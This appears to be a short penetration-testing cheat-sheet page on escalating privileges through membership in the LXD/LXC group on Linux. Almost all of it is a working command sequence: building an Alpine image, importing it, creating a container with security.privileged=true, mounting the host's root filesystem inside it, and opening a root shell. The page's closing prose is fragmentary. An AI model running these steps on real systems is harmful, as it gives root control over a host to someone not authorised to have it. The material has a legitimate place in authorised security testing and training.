githubEdit

lxc-and-lxd

Build a container image (no internet)

git clone https://github.com/saghul/lxd-alpine-builder
sudo ./build-alpine

If you face error (extended header keyword) lxd-alpine-builder issuearrow-up-right

Start the lxd daemon

lxd init

Import the local image

lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine

Privilege set

lxc init alpine r00t -c security.privileged=true

Mount the system

lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true

Spawn the shell

lxc start r00t && lxc exec r00t /bin/sh && id

Containers

Linux daemon (LXD) is designed to contain a complete operating system. We must either the lxc or lxd group.

Import the image as a container

Configure image

Start the container and login

Last updated